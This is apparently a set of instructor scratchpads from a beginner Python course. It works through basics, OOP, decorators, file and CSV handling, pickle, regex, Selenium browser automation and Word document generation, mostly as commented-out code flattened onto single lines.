Python Sunday 31
Python Sunday 31
Scratchpad #1
# print(100 + 100) # # some message # print(10 + 5 + 6) # this is a comment # num = 105 # 110 highScore = 0 # camel casing high_score = 0 # snake casing HighScore = 0 # Pascal casing DAYS_IN_A_WEEK = 7 __high_Score__ = 0
Scratchpad #2
# num = 10 # num = num / 3 # age = None # # some code # age = 10 # age name = "John Doe" name.lower().find("doe").upper()
Scratchpad #3
# # print("Amount of US dollars you want to convert?") # usd = float(input("Amount of US dollars you want to convert: ")) # inr = usd * 80 # print(f"${usd} is equal to Rs. {inr}") # name = "Ratan Tata" # if name == "Mukesh Ambani": # print("Reliance Industries") # if name == "Ratan Tata": # print("Tata Sons & Group") # if name == "Gautam Adani": # print("Adani Group") # else: # print("Some other business person") # if name == "Mukesh Ambani": # print("Reliance Industries") # elif name == "Ratan Tata": # print("Tata Sons & Group") # elif name == "Gautam Adani": # print("Adani Group") # else: # print("Some other business person") # logged_in_user = None # if logged_in_user: # print("Welcome") # else: # print("Please log in to continue") # if True: # print("Hello World") # age = int(input("How old are you? ")) # if age >= 65: # print("Drinks are free") # elif age >= 21: # print("You can enter and drink") # elif age >= 18: # print("You can enter but you can't drink") # else: # print("Not allowed") # age = int(input("How old are you? ")) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and drink") # elif age >= 65: # print("Drinks are free") # else: # print("Not allowed") # age = input("How old are you? ") # if age: # age = int(age) # if age >= 18 and age < 21: # print("You can enter but you can't drink") # elif age >= 21 and age < 65: # print("You can enter and drink") # elif age >= 65: # print("Drinks are free") # else: # print("Not allowed") # else: # print("Please enter an age") # player1 = input("Please enter player 1's choice: ") # player2 = input("Please enter player 2's choice: ") # if player1 == player2: # print("It's a tie") # elif ((player1 == 'rock' and player2 == 'scissor') # or (player1 == 'scissor' and player2 == 'paper') # or (player1 == 'paper' and player2 == 'rock')): # print("Player 1 wins") # elif ((player2 == 'rock' and player1 == 'scissor') # or (player2 == 'scissor' and player1 == 'paper') # or (player2 == 'paper' and player1 == 'rock')): # print("Player 2 wins") # else: # print("Please enter a valid choice") # for num in range(50): # 0,1,22,3,4 # print(f"{num} - Hello World") # print("Hello Universe") # # num = 0 # for char in "Hello World": # print(char) # for num in range(10): # print(num) # for num in range(4, 10): # print(num) # for num in range(0, 20, 5): # print(num) for num in range(0, -10, -2): print(num)
Scratchpad #4
# for num in range(1, 21): # if num == 5 or num == 16: # print("FizzBuzz") # elif num % 2 == 0: # print("Fizz is even") # else: # print("Fizz is odd") # for char in "Hello World": # print(char) # while True: # print("Hello") # password = input("Enter your password: ") # while password != "hello": # print("Incorrect Password") # password = input("Enter your password again: ") # print("Welcome") # for num in range(10): # print(num) # count = 0 # while count < 10: # print(count) # count += 1 # count = 1 # password = input("Enter your password: ") # while password != "hello": # print("Incorrect Password") # if count == 3: # break # password = input("Enter your password again: ") # count += 1 # password = input("Enter your password: ") # while True: # if password == "hello": # break # print("Incorrect Password") # password = input("Enter your password again: ") # for num in range(10): # if num == 4: # break # print(num) # for num in range(10): # password = input("Enter your password: ") # while True: # if password == "hello": # break # print("Incorrect Password") # password = input("Enter your password again: ") # print(num) # password = input("Enter your password: ") # while True: # if password == "hello": # break # print("Incorrect Password") # password = input("Enter your password again: ") # for num in range(1, 11): # print(f"{num} time") # password = input("Enter your password: ") # if password == "exit": # break # while True: # if password == "hello": # break # print("Incorrect Password") # password = input("Enter your password again: ") # tasks = "" # while True: # todo = input("Please enter a task or 'exit': ") # if todo.lower() == 'exit': # break # tasks = tasks + todo + "||" # print(tasks) # forbidden_words = ["idiot", "nonsense", "mad", "moron", "stupid", "dumb"] # message = input("Your message to me: ") # words = message.split(" ") # new_message = "" # for word in words: # if word in forbidden_words: # new_message = new_message + "nice " # else: # new_message = new_message + word + " " # print(new_message) forbidden_words = ["idiot", "nonsense", "mad", "moron", "stupid", "dumb"] # for word in forbidden_words: # print(word) index = 0 while index < len(forbidden_words): print(forbidden_words[index]) index += 1
Scratchpad #5
# # names = ["john", "jack", "jane", "john", "john", "jill"] # # for name in names: # # if name == "john": # # print("CURRENT", names) # # names.remove("john") # # print("UPDATED", names) # # print(names) # names = ["john", "jack", "jane", "john", "john", "jill"] # new_names = [] # for name in names: # if name != "john": # new_names.append(name) # print(new_names) # names = ['jack', 'jane', 'jill', 'john', 'john', 'john'] # print(names[3:]) # frameworks = ["Django", "Flask"] # frameworks[0], frameworks[1] = frameworks[1], frameworks[0] # print(frameworks) # names = ['jack', 'jane', 'jill', 'john', 'john', 'john'] # upper_names = [x.upper() for x in names] # nums = [1, 2, 3, 4, 5, 6, 7, 8] # double = [num * 2 for num in nums] # nums = [1, 2, 3, 4, 5, 6, 7, 8] # str_nums = [str(num) for num in nums] # # double = [] # # for num in nums: # # double.append(num * 2) # # upper_names = [] # # for name in names: # # upper_names.append(name.upper()) # print(upper_names) # print(double) # print(str_nums) # numbers = [1, 2, 3, 4, 5, 6] # modified = [num * 2 if num % 2 != 0 else num / 2 for num in numbers] # print(modified) # modified = [] # modified = [num * 2 if num % 2 != 0 else num / 2 for num in numbers] # for num in numbers: # if num % 2 != 0: # modified.append(num * 2) # else: # modified.append(num / 2) # evens = [num for num in numbers if num % 2 == 0] # odds = [num for num in numbers if num % 2 == 1] # names = ['jacky', 'jane', 'jilly', 'john', 'johnathan', 'john'] # long_names = [name for name in names if len(name) > 4] # print(long_names) # message = "Hello Python!" nested_list = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] total = 0 for lst in nested_list: for num in lst: total += num print(total) nested_list = [[[1, 2, 3], [1, 2, 3, 4], [1, 2, 3]], [[1, 2, 3], [1, 2, 23, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 23, 12, 10, 3]]]
Scratchpad #6
# lst = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] # total = 0 # for l in lst: # for num in l: # total += num # print(total) # product = [ # "iPhone 14 pro max xl", # "Apple", # 200000, # 500, # "Some description....", # 150, # ] # product = { # "name": "iPhone 14 pro max xl", # "in_stock": 500, # "price": 200000, # "description": "Some description...", # "no_of_reviews": 150, # "discount_available": True, # "brand": "Apple", # "reviews": [ # {"user": "john", "comment": "Bakwas"}, # {"user": "jack", "comment": "mehenga bohot"}, # ] # } # song = { # "name": "birthday bash", # "artists": ["honey singh"], # "album": "birthday bash", # "release_year": "2016", # "track_length": 3.0, # "label": "t-series" # } # song1 = {"name": "song1", "artists": ["john doe", "jane"]} # song2 = dict(name="song1", artists=["john doe", "jane"]) # print(song1, song2) # book = { # "name": "The theory of everything", # "author": "Stephen Hawking", # "pages": 140, # "language": "English", # "in_stock": True, # 73: 1001001 # } # print(book["pages"]) # print(book["language"]) # print(book[73]) # book["hello"] = "world" # book["pages"] = 200 # book["universe"] = 123123123 # print(book) # book = { # "name": "The theory of everything", # "author": "Stephen Hawking", # "pages": 140, # "language": "English", # "in_stock": True, # } # for key in book: # print(key, book[key]) # print(book["name"]) # for key in book.keys(): # ["The theory of everything", "Stephen Hawking"] # print(key) # for value in book.values(): # ["The theory of everything", "Stephen Hawking"] # print(value) # for key in book.keys(): # ["The theory of everything", "Stephen Hawking"] # print(key, book[key]) # for item in book.items(): # print(item) # for key, value in book.items(): # print(key, value) song = { "name": "Parabola", "artist": "Tool", "album": "Lateralus", "released": 2001, "genres": ["Progressive/Art Rock", "Progressive metal"], } print(song.get("track_length")) print("SOME MORE CODE")
Scratchpad #7
# def hello(): # print("Hello World") # print("Hello World") # print("Hello World") # print("Hello World") # hello() # hello() # hello() # hello() from random import randint, random # def guess(): # print(randint(1, 7)) # guess() # def toss(): # num = random() # if num > 0.5: # print("Heads") # else: # print("Tails") # toss() # def toss(): # num = random() # if num > 0.5: # return "Heads" # else: # return "Tails" # def toss(times): # for _ in range(0, times): # num = random() # if num > 0.5: # print("Heads") # else: # print("Tails") # toss(5) # def add(a, b): # return a + b # print(add(10, 3)) # def full_name(first_name, last_name): # return f"Your full name is {first_name} {last_name}" # print(full_name("John", "Doe")) # print(full_name("Jack", "Smith")) # def sum_odd_numbers(numbers): # total = 0 # for num in numbers: # if num % 2 != 0: # total += num # return total # print(sum_odd_numbers([1, 2, 3, 4, 5, 6, 7, 8])) # def is_odd_number(number): # if number % 2 != 0: # return True # return False # print(is_odd_number(3)) # def mul(a=1, b=1): # return a * b # print(mul(10)) # def toss(times=1): # for _ in range(0, times): # num = random() # if num > 0.5: # print("Heads") # else: # print("Tails") # toss(3) # def add(a, b): # return a + b # def sub(a, b): # return a - b # def math(a, b, fn=sub): # return fn(a, b) # result = math(10, 20, add) # print(result) # def print_full_name(first_name, last_name, age=10): # print(f"My name is {first_name} {last_name} and I am {age} years old.") # print_full_name(last_name="doe", age=20, first_name="jane") # name = "John Doe" # def greet(): # name = "Jane Smith" # print(f"Hello {name}") # greet() # print(name) # total = 0 # def static(): # global total # total += 10 # print(total) # static() # print(total) # def outer(): # count = 0 # def inner(): # nonlocal count # count += 10 # print(count) # inner() # outer() # def add(a, b): # """This functions accepts two numbers and add them # @param a: int # @param b: int # @return int # """ # return a + b # print(add.__doc__) # print(help(add)) # def add(a, b): # return a + b # def add(*nums): # total = 0 # for num in nums: # total += num # return total # print(add(10, 2, 12, 124, 54, 65, 7, 567, 7889, 5433, 21)) # def names(name1, name2, *names): # print(name1) # print(name2) # print(names) # names("John", "Jane", "Jack", "Jim", "Jill", "Janam") # def profile(**details): # print(details) # profile(first_name="John", last_name="Doe", age=20) def show_info(a, b, *args, role="moderator", **kwargs): return [a, b, args, role, kwargs] print( show_info(10, 20, 30, 40, 50, role="Dev", first_name="John", last_name="Doe"))
Scratchpad 9
# def add_all_values(*args): # # print(args) # total = 0 # for num in args: # total += num # print(total) # nums = [1, 20, 34, 56, 4, 32, 12] # add_all_values(*nums) # def say_name(first, last): # print(f"My name is {first} {last}.") # # say_name(first="John", last="Doe") # name = {"first": "Robert", "last": "Moore"} # say_name(**name) # def square(num): # return num * num # square = lambda num: num * num # # hello = square # # print(square(2)) # def math(a, b, fn): # return fn(a, b) # def sub(a, b): # return a - b # print(math(10, 3, lambda a, b: a - b)) # nums = [1, 20, 34, 56, 4, 32, 12] # # double_nums = [] # # for num in nums: # # double_nums.append(num * 2) # # print(double_nums) # double_nums = map(lambda num: num * 2, nums) # -> list(iterator) # print(list(double_nums)) # double_nums = [num * 2 for num in nums] # print(double_nums) # nums = [1, 20, 33, 56, 9, 32, 55] # evens = filter(lambda n: n % 2 == 0, nums) # print(list(evens)) # evens = [] # for num in nums: # if num % 2 == 0: # evens.append(num) # print(evens) names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob'] messages = list( map(lambda name: f"The one who wins is {name}", filter(lambda name: len(name) > 5, names))) print(messages)
Scratchpad 10
# # # def add(x, y): # # # if type(x) != int or type(x) != float: # # # return "x has to be an int or a float" # # # elif type(y) != int or type(y) != float: # # # return "y has to be an int or a float" # # # return x + y # # # result = add(10, "10") # # # print(result / 2) # # # def colorize(text, color): # # # colors = ('red', 'yellow', 'blue', 'green', 'purple') # # # if type(text) is not str: # # # raise TypeError('text has to be a str') # # # if type(color) is not str: # # # raise TypeError('color has to be a str') # # # if color not in colors: # # # raise ValueError(f'{color} is an invalid color') # # # print(f"{text} printed in {color}.") # # # colorize("Hello World", "burgundy") # # profile = {"first_name": "John", "last_name": "Doe", "age": 20} # # # print(profile.get("middle_name")) # # # def get(dictionary, key): # # # try: # # # return dictionary[key] # # # except KeyError: # # # return None # # # def get(dictionary, key): # # # try: # # # return dictionary[key] # # # except (KeyError, ValueError): # # # return None # # # def get(dictionary, key): # # # try: # # # return dictionary[key] # # # except Exception as e: # # # return e # # # print(get(profile, 123)) # # def divide(a, b): # # try: # # result = a / b # # except Exception as err: # # return err # # else: # # return result # # finally: # # print("I will run always, whether success or failure") # # print(divide(10, '1212')) # # import random # # random = 10 # # print(random.choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"])) # # def random(): # # print("Something random") # # print(random) # # vals = ["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"] # # random.shuffle(vals) # # print(vals) # # import random as r # # print(r.random()) # # print(r.choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"])) # from random import random as r, randint as ri, choice as c # # from random import * # print(r()) # print(ri(10, 100)) class User: def __init__(self, first_name, last_name, email): self.first_name = first_name self.last_name = last_name self.email = email john = User("John", "Doe", "john.[email protected]") jane = User("Jane", "Smith", "[email protected]") jack = User("Jack", "Ma", "[email protected]") print(john.email) print(jane.email) print(jack.last_name)
Scratchpad 11
# # # class Math: # # # PI = 3.1415 # # # @classmethod # # # def add(cls, a, b): # # # return a + b # # # @classmethod # # # def sub(cls, a, b): # # # return a + b # # # print(Math.add(10, 5)) # # # print(Math.PI) # # class Book: # # country_of_origin = "India" # # total_books = 0 # # def __init__(self, title, pages, author, cover, publisher, price): # # """Class Constructor""" # # self.title = title # # self.pages = pages # # self.author = author # # self.cover = cover # # self.publisher = publisher # # self.price = price # # self._inventory = 1000 # private attribute # # self.__secret = True # # Book.total_books += 1 # # def __repr__(self): # # return f"Title: {self.title} | Author: {self.author}" # # def get_inventory(self): # # print(f"{self.publisher} - This book's inventory was checked") # # return self._inventory # # def set_inventory(self, new_val): # # print(f"New books are going to be added") # # self._inventory = new_val # # return self._inventory # # def info(self): # method # # return f"Author: {self.author}\nPublisher: {self.publisher}\nPrice: {self.price}" # # def rate(self, rating): # # return f"Author - {self.author} gets a rating of {rating} points" # # @classmethod # # def get_total_books_count(cls): # # return cls.total_books # # # def get_inventory() # # # def set_inventory() # # book1 = Book("Brave Doe World", 240, "John Doe", "hard cover", "RSTForum", 500) # # book2 = Book("Hakka Noodles with Anish", 180, "Jack Ma", "soft cover", # # "Alibaba", 80) # # book3 = Book("Made in Mongolia", 1800, "Jack Baap", "No cover", "Alibaba", # # 3000) # # print(book1) # # print(book2) # # print(book3) # # # Book.country_of_origin = "Japan" # # # # book2._inventory = 230 # # # book2.set_inventory(230) # # # print(book2.get_inventory()) # # # print(book2._inventory) # # # print(book2.get_inventory()) # # # print(Book.get_total_books_count()) # # # print(book2.get_total_books_count()) # # # print(Book.total_books) # # # print(book3.country_of_origin) # # # print(book1.country_of_origin) # # # print(book2.country_of_origin) # # # print(Book.country_of_origin) # # # print(Book.cover) # # # print(book2.info()) # # # print(book2.rate(3.8)) # # # print(book1._inventory) # # # book2._inventory = 450 # # # print(book2._inventory) # # # print(book2._Book__secret) # # # print(book1.author) # # # print(book2.author) # # # # print(book2._inventory) # # # book2.get_inventory() # # # book2.set_inventory() # # # book2._inventory = 2000 # CURRENT_YEAR = 2022 # class User: # logged_in_users = [] # def __init__(self, first_name, last_name, email, phone, password, dob): # self.first_name = first_name # self.last_name = last_name # self.email = email # self.phone = phone # self.password = password # self._dob = dob # def __repr__(self): # return f"{self.first_name} {self.last_name}" # @classmethod # def create_user(cls): # first_name = input("What is your first name? ") # last_name = input("What is your last name? ") # email = input("Please enter your email: ") # phone = input("Please enter your phone number: ") # password = input("Please enter a password: ") # new_user = User(first_name, last_name, email, phone, password) # return new_user # @property # def birthdate(self): # birth_year = int(self._dob.split("/")[-1]) # age = CURRENT_YEAR - birth_year # return f"You are {age} years old. Birthday - {self._dob}" # @birthdate.setter # def birthdate(self, new_date): # self._dob = new_date # return f"Birthday changed to {new_date}" # def get_birthdate(self): # birth_year = int(self._dob.split("/")[-1]) # age = CURRENT_YEAR - birth_year # return f"You are {age} years old. Birthday - {self._dob}" # def set_birthday(self, new_date): # self._dob = new_date # return f"Birthday changed to {new_date}" # def login(self, password): # if password == self.password: # User.logged_in_users.append(self) # return True # else: # raise ValueError("Incorrect Password") # def logout(self): # # remove user from User.logged_in_users # return True # class Admin(User): # groups = [] # def __init__(self, first_name, last_name, email, phone, password, dob, # address): # super().__init__(first_name, last_name, email, phone, password, dob) # self.address = address # self._privilege_level = 8 # def __repr__(self): # return f"{self.first_name} {self.last_name} (admin)" # def create_group(self, group_name, users): # Admin.groups.append({"name": group_name, "users": users}) # return f"Success created group {group_name}" # # john = User.create_user() # john = User("John", "Doe", "[email protected]", "+91 123456789", "helloworld", # "12/12/2000") # jack = User("Jack", "Ma", "[email protected]", "+86 123456789", # "cakjs#$@dnlO*786", "12/12/1998") # jane = Admin("Jane", "Doe", "[email protected]", "+91 123456789", "jane@123", # "12/12/1997", "Dadar Mumbai") # john.login("helloworld") # jane.login("jane@123") # print(jane.address) # print(john.address) # # print(User.logged_in_users) # # jane.create_group("python study group", [john, jack]) # # # print(Admin.groups) # # # john.set_birthday("12/12/2005") # # # print(john.get_birthdate()) # # john.birthdate = "12/12/2009" # # print(john.birthdate) # # print(john.dob) class Human: def __init__(self, name): self.name = name def greet(self): return "hello world" class Animal: def __init__(self, name): self.name = name def greet(self): return "@#$@#$#@$" class Mutant(Animal, Human): pass john = Human("John") tom = Animal("Tom") joom = Mutant("Joom") print(joom.greet())
Scratchpad #12
# # # # # # import random # # # # # # SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds") # # # # # # RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack", # # # # # # "Queen", "King") # # # # # # NCARDS = 8 # # # # # # def get_card(deck_list_in): # # # # # # this_card = deck_list_in.pop() # # # # # # return this_card # # # # # # def shuffle(deck_list_in): # # # # # # deck_list_out = deck_list_in.copy() # # # # # # random.shuffle(deck_list_out) # # # # # # return deck_list_out # # # # # # print("Welcome to higher or lower.") # # # # # # print( # # # # # # "You have to choose whether the next to be shown will be higher or lower than the current card." # # # # # # ) # # # # # # print("Getting it right add 20 points; get it wrong you will lose 15 points.") # # # # # # print("You have 50 points to start.") # # # # # # print() # # # # # # starting_deck_list = [] # # # # # # for suit in SUIT_TUPLE: # # # # # # for this_value, rank in enumerate(RANK_TUPLE): # # # # # # card_dict = {"rank": rank, "suit": suit, "value": this_value + 1} # # # # # # starting_deck_list.append(card_dict) # # # # # # score = 50 # # # # # # while True: # # # # # # print() # # # # # # game_deck_list = shuffle(starting_deck_list) # # # # # # current_card_dict = get_card(game_deck_list) # # # # # # current_card_rank = current_card_dict["rank"] # # # # # # current_card_value = current_card_dict["value"] # # # # # # current_card_suit = current_card_dict["suit"] # # # # # # print(f"Starting card is {current_card_rank} of {current_card_suit}") # # # # # # print() # # # # # # for card_number in range(0, NCARDS): # # # # # # answer = input( # # # # # # f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): " # # # # # # ) # # # # # # answer = answer.casefold() # # # # # # next_card_dict = get_card(game_deck_list) # # # # # # next_card_rank = next_card_dict["rank"] # # # # # # next_card_value = next_card_dict["value"] # # # # # # next_card_suit = next_card_dict["suit"] # # # # # # print(f"Next card is {next_card_rank} of {next_card_suit}") # # # # # # if answer == 'h': # # # # # # if next_card_value > current_card_value: # # # # # # print("You got it right, it was higher") # # # # # # score += 20 # # # # # # else: # # # # # # print("Sorry, it was not higher") # # # # # # score -= 15 # # # # # # elif answer == "l": # # # # # # if next_card_value < current_card_value: # # # # # # print("You got it right, it was lower") # # # # # # score += 20 # # # # # # else: # # # # # # print("Sorry, it was not lower") # # # # # # score -= 15 # # # # # # print(f"Your score is: {score}") # # # # # # print() # # # # # # current_card_rank = next_card_rank # # # # # # current_card_suit = next_card_suit # # # # # # current_card_value = next_card_value # # # # # # go_again = input("To play again, press ENTER, or 'q' to quit: ") # # # # # # if go_again == 'q': # # # # # # break # # # # # # print("Good bye") # # # # # # =================================================== # # # # # class User: # # # # # def greet(self): # # # # # raise NotImplementedError("Subclasses need to implement this method") # # # # # class Subscriber(User): # # # # # def greet(self): # # # # # print("I'm a subscriber") # # # # # class Creator(User): # # # # # def greet(self): # # # # # print("I'm a creator") # # # # # john = Subscriber() # # # # # jane = Creator() # # # # # john.greet() # # # # # jane.greet() # # # # class Human: # # # # def __init__(self, name, height): # # # # self.name = name # # # # self.height = height # # # # def __len__(self): # # # # return self.height # # # # john = Human("John Doe", 175) # # # # print(len(john)) # # # # def my_for(iterable): # # # # iterator = iter(iterable) # # # # while True: # # # # try: # # # # print(next(iterator)) # # # # except StopIteration: # # # # break # # # # my_list = [1, 2, 3, 4, 5] # # # # for num in my_list: # for(my_list) # # # # print(num) # # # # my_for(my_list) # # # # class Counter: # # # # def __init__(self, start, end, step=1): # # # # self.start = start # # # # self.end = end # # # # self.step = step # # # # def __iter__(self): # # # # return self # # # # def __next__(self): # # # # if self.start < self.end: # # # # num = self.start # # # # self.start += self.step # # # # return num # # # # else: # # # # raise StopIteration # # # # # r = range(0, 10) # # # # # iter_r = iter(r) # # # # # print(next(iter_r)) # # # # # print(next(iter_r)) # # # # # print(next(iter_r)) # # # # # print(next(iter_r)) # # # # # nums = Counter(0, 10) # # # # # iter_nums = iter(nums) # # # # # print(next(iter_nums)) # # # # # print(next(iter_nums)) # # # # # print(next(iter_nums)) # # # # # print(next(iter_nums)) # # # # for num in Counter(0, 100, 5): # # # # print(num) # # # # def count(start, end, step=1): # # # # count = start # # # # while count <= end: # # # # yield count # # # # count += step # # # # for num in count(0, 10, 2): # # # # print(num) # # # def fib_list(max): # # # nums = [] # # # a, b = 0, 1 # # # while len(nums) < max: # # # nums.append(b) # # # a, b = b, a + b # # # return nums # # # def fib_gen(max): # # # a, b = 0, 1 # # # count = 0 # # # while count < max: # # # a, b = b, a + b # # # yield a # # # count += 1 # # # # for num in fib_list(1000000): # # # # print(num) # # # for num in fib_gen(1000000): # # # print(num) # # import time # # gen_start_time = time.time() # # print(sum(num for num in range(100000000))) # # gen_stop_time = time.time() - gen_start_time # # list_start_time = time.time() # # print(sum([num for num in range(100000000)])) # # list_stop_time = time.time() - list_start_time # # print(f"Generator took: {gen_stop_time}") # # print(f"List Comp took: {list_stop_time}") # # def math(a, b, fn): # # return fn(a, b) # # def add(a, b): # # return a + b # # def sub(a, b): # # return a - b # # print(math(10, 3, add)) # # print(math(10, 3, sub)) # # print(math(10, 3, lambda a, b: a * b)) # # def sum(n, func): # # total = 0 # # for num in range(1, n + 1): # # total += func(num) # # return total # # def square(n): # # return n * n # # def cube(n): # # return n * n * n # # print(sum(10, square)) # # import random # # def greet(person): # # def get_mood(): # # mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"] # # msg = random.choice(mood) # import random # # return msg # # result = f"{get_mood()} {person}" # # return result # # print(greet("John Doe")) # import random # def make_greet_func(person): # def make_message(): # msg = random.choice( # ["Hello", "What!", "What the heck do you want!", "Get lost!"]) # return f"{msg} {person}" # return make_message # result = make_greet_func("John") # print(result) def stars(fn): def wrapper(): print("*" * 10) fn() print("*" * 10) return wrapper @stars # greet = stars(greet) def greet(): print("Hello World") # greet() # greet = stars(greet) greet()
Scratchpad #13
# # # def stars(fn): # # # def wrapper(): # # # print("*" * 20) # # # fn() # # # print("*" * 20) # # # return wrapper # # # @stars # # # def say_hello(): # # # print("Hello World") # # # # say_hello = stars(say_hello) # # # say_hello() # # from functools import wraps # # def make_upper_case(fn): # # """Decorate to uppercase the returned string""" # # @wraps(fn) # wrapper = wraps(fn)(wrapper) # # def wrapper(*args, **kwargs): # # """Wrapper function that will be returned""" # # return fn(*args, **kwargs).upper() # # return wrapper # # @make_upper_case # say_hello = make_upper_case(say_hello) # # def say_hello(name): # # """Will say hello to someone""" # # return f"Hello, {name}" # # @make_upper_case # # def say_message(name, message): # # """Will say something to someone""" # # return f"{message}, {name}" # # # print(say_hello("John")) # # # print(say_message("John", "Hi")) # # print(say_hello.__doc__) # # print(say_hello.__name__) # # print(say_message.__doc__) # def enforce(*types): # def inner(fn): # def wrapper(*args, **kwargs): # new_args = [] # for a, t in zip(args, types): # [(message, str), (count, int)] # try: # new_args.append(t(a)) # str("hello") "hello" # except (ValueError, TypeError): # return "Something went wrong" # return fn(*new_args) # return wrapper # return inner # @enforce(str, int) # say_many_times = enforce(str, int)(say_many_times) # def say_many_times(message, count): # print((message + "\n") * count) # say_many_times(100000, "asdasd") ##### Bank # Attributes: # name: str # branch: str # initials: str # address: str # phone_nos: list<str> # email: str # customers_list: list<Customer> # ifsc_code: str # Methods: # change_details() # add_customer() -> Customer # find_customer_by_acc_no() # find_customer_by_name(first_name, last_name) # find_customer_by_email(email) # find_customer_by_mobile_no(mobile_no) # delete_customer(acc_no) # get_total_balance() ##### Customer # Attributes: # first_name: str # last_name: str # email: str # phone_no: str # address: str # aadhar_card_no: int # pan_card_no: str # zip_code: int # balance: float # acc_no: str # bank_details: dict # account_type: "savings" | "current" # Methods: # change_details(**kwargs) # check_balance() # deposit(amount: float) # withdraw(amount: float) # transfer(amount: float, customer: Customer) # Reading / Writing files # file = open("test.txt") # print(file) # file.close() # with open("test.txt") as file: # print(file.read()) # print(file.closed) # print(file.closed) # with open("test.txt", "w") as file: # file.write("*" * 20) # file.write("\nHello World\nThis is some text\n") # file.write("This is another line\n") # file.write("*" * 20) # file.write("\n") # with open("test.txt", "r+") as file: # file.write("====Hello universe.=====") # from csv import reader, DictReader # with open("test.csv") as file: # csv_reader = reader(file) # print(list(csv_reader)) # # for item in csv_reader: # # print(item) # with open("test.csv") as file: # csv_reader = DictReader(file) # print(list(csv_reader)) # # for item in csv_reader: # # print(item) from csv import writer, DictWriter # with open("test.csv", "a", newline="") as file: # csv_writer = writer(file) # csv_writer.writerow(["Jill Roe", 42, "[email protected]", "123456789"]) # csv_writer.writerow(["Jill Roe", 42, "[email protected]", "123456789"]) # csv_writer.writerow(["Jill Roe", 42, "[email protected]", "123456789"]) # csv_writer.writerow(["Jill Roe", 42, "[email protected]", "123456789"]) # with open("test.csv", "w", newline="") as file: # headers = ["name", "age", "email", "phone"] # csv_writer = DictWriter(file, fieldnames=headers) # csv_writer.writeheader() # csv_writer.writerow( # {"name": "John Doe", "age": 20, "email": "[email protected]", "phone": 123455678} # ) # csv_writer.writerow( # {"name": "John Doe", "age": 20, "email": "[email protected]", "phone": 123455678} # ) import pickle class User: def __init__(self, name, email, age): self.name = name self.email = email self.age = age def greet(self): print(f"Hello I am {self.name}") def __repr__(self): return self.name user1 = User("John", "[email protected]", 22) with open("users.pickle", "wb") as file: pickle.dump(user1, file) with open("users.pickle", "rb") as file: restored_user = pickle.load(file) restored_user.greet()
Scratchpad #14
# # # import re # # # # pattern = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}") # # # # result = pattern.search("Call us today on 91 022 23456789") # # # # print(result) # # # # print(result.group()) # # # # result = pattern.findall("Call us today on 91 022 23456789 or +91 022 2345 2345") # # # # print(result) # # # # def extract_phone(input): # # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}") # # # # match = phone_regex.search(input) # # # # if match: # # # # return match.group() # # # # else: # # # # None # # # # def extract_phone(input): # # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}") # # # # return phone_regex.findall(input) # # # # print(extract_phone("Call us today on 91 022 23456789 or +91 022 2345 2345")) # # # # def is_valid_phone(input): # # # # phone_regex = re.compile(r"^\+?91\s?\d{3}\s?\d{4}\s?\d{4}$") # # # # match = phone_regex.search(input) # # # # if match: # # # # return True # # # # else: # # # # False # # # # def is_valid_phone(input): # # # # phone_regex = re.compile(r"\+?91\s?\d{3}\s?\d{4}\s?\d{4}") # # # # match = phone_regex.fullmatch(input) # # # # if match: # # # # return True # # # # else: # # # # return False # # # # print(is_valid_phone("+91 022 2345 2345 ")) # # from selenium import webdriver # # from selenium.webdriver.common.keys import Keys # # from selenium.webdriver.common.by import By # # from time import sleep # # browser = webdriver.Chrome("chromedriver.exe") # # browser.maximize_window() # # # browser.get("https://www.youtube.com/") # # # sleep(5) # # # search_box = browser.find_element( # # # By.XPATH, # # # "/html/body/ytd-app/div[1]/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div[1]/div[1]/input", # # # ) # # # sleep(1) # # # search_box.click() # # # sleep(1) # # # search_box.send_keys("John Wick Trailer", Keys.ENTER) # # # sleep(4) # # # video = browser.find_element(By.PARTIAL_LINK_TEXT, "John Wick Official Trailer") # # # sleep(1) # # # video.click() # # # sleep(100) # # # ------- # # browser.get("https://web.whatsapp.com/") # # sleep(25) # # search_box = browser.find_element( # # By.XPATH, "/html/body/div[1]/div/div/div[3]/div/div[1]/div/div/div[2]/div/div[2]" # # ) # # sleep(1) # # search_box.click() # # sleep(2) # # search_box.send_keys("PYTHON Sunday RS 24/7/22", Keys.ENTER) # # sleep(2) # # message_box = browser.find_element( # # By.XPATH, # # "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p", # # ) # # sleep(1) # # message_box.click() # # sleep(1) # # for _ in range(20): # # message_box = browser.find_element( # # By.XPATH, # # "/html/body/div[1]/div/div/div[4]/div/footer/div[1]/div/span[2]/div/div[2]/div[1]/div/div[1]/p", # # ) # # sleep(1) # # message_box.click() # # sleep(1) # # message_box.send_keys("Hello from Python", Keys.ENTER) # # sleep(1) # # sleep(10) # # browser.close() # import docx # from docx.enum.text import WD_ALIGN_PARAGRAPH # doc = docx.Document() # doc.add_heading("Python Word Document using python-docx", level=0) # doc.add_heading("Some more information", level=1) # para1 = doc.add_paragraph( # "Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum veniam ducimus obcaecati debitis, sit reprehenderit quisquam. Dolorem obcaecati nobis architecto sit amet nesciunt repudiandae. Accusamus porro non aut dolor dolores." # ) # para1.alignment = WD_ALIGN_PARAGRAPH.RIGHT # doc.add_page_break() # doc.add_heading("New page new info", level=2) # doc.add_paragraph( # "Lorem ipsum dolor sit amet, consectetur adipisicing elit. Ipsum veniam ducimus obcaecati debitis, sit reprehenderit quisquam. Dolorem obcaecati nobis architecto sit amet 